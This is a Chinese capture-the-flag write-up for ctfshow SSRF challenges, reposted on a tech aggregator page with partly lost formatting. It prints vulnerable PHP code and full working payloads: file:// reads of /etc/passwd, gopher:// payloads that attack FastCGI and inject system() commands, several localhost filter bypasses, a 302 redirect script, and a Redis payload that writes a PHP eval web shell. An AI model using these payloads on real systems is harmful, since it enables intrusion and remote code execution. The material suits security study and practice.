| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> ctfshow-ssrf -> 正文阅读 |
|
[PHP知识库]ctfshow-ssrf |
作者:https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/markdown_views-d7a94ec6ab.css |
前言 没办法数据丢失了,所以没有格式了 SSRF web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>没有过滤,基本的ssrf漏洞,抓个包测试一下 用file协议读一下/etc/passwd试试 image-20210818201139151 因为是nginx服务,所以看看能不能读nginx配置文件,发现了fastcgi可以直接用gopher协议打通,还有根目录,试着读一下根目录的源文件,可以直接用file读取flag.php内容 image-20210818201511663 由于是第一个,所以将方法写详细一点 payload-1 file:///var/www/html/flag.php http://127.0.0.1/flag.php image-20210818203141604 通过Gopherus生成payload gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 url编码payload gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH58%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253A%2504%2500%253C%253Fphp%2520system%2528%2527whoami%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 image-20210818203537208 接着利用RCE拿flag payload url=gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH64%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2540%2504%2500%253C%253Fphp%2520system%2528%2527tac%2520flag.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 web352 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>就是限制了协议的使用,只能使用http和https,preg_match没有参数,永真,所以并没有过滤什么 url=http://127.0.0.1/flag.php 这回preg_match是直接过滤,这里考虑用进制绕过,实用工具里的ip地址进制转换 十六进制 DNS-重定向攻击绕过可以利用CEYE工具将DNS重新绑定为127.0.0.1但是不巧,我的标识符中都带1所以被过滤了,只能找其他的了,有一个sudo.cc这个是直接重定向到127.0.0.1的,所以可以利用 1 url=http://sudo.cc/flag.php 这次限制了ip地址的长度<=5,但不再过滤字符了。 1 url=http://127.1/flag.php 长度限制<=3,直接用0绕过 1 url=http://0/flag.php 这题多了个用gethostbyname,将我们访问的主机名对应的ip地址回显并且检验 image-20210819074544932 FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255) 简单的说,就是不能是一些私有地址,如果匹配到了RFC指定私有域地址就会返回FALSE导致无法读取flag,这里面我们就可以利用自己的域名加一个302重定向,可以找一个肉鸡试试 <?php header("Location:http://127.0.0.1/flag.php"); ?>在主页添加一个dns.php中 这段代码 payload url=http://www.xxx.com/dns.php //xxx是你的域名 随便设置一个不再私有中的ip地址,然后再绑定一个127.0.0.1来访问本地内网 image-20210819080553394 payload,记得多试几次,因为绑定两个域名会随机绑定一起,我至少试了几十次。 url=http://r.xxx/flag.php //这是获得identity array(4) { payload url=http://ctf.@127.0.0.1/flag.php?show C:\Users\23242\Desktop\悬剑武器库\tools\漏洞利用\Gopherus-master>python2 gopherus.py --exploit mysql ________ .__
[0m [41m-----------Made-by-SpyD3r-----------[0m 和第一题一样,需要url编码一下最后拿shell image-20210819083529138 连接蚁剑,拿flag image-20210819083654558 web360 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>提示说redis,打redis是可以直接拿shell的,这题通过访问/etc/nginx/nginx.conf发现也可以打fastcgi来命令执行,但是命令执行有点慢,直接redis 利用dict看看6379端口,发现存在redis image-20210819084633519 C:\Users\23242\Desktop\悬剑武器库\tools\漏洞利用\Gopherus-master>python2 gopherus.py --exploit redis ________ .__
[0m [41m-----------Made-by-SpyD3r-----------[0m payload url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 | -2025/1/11 15:56:51- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |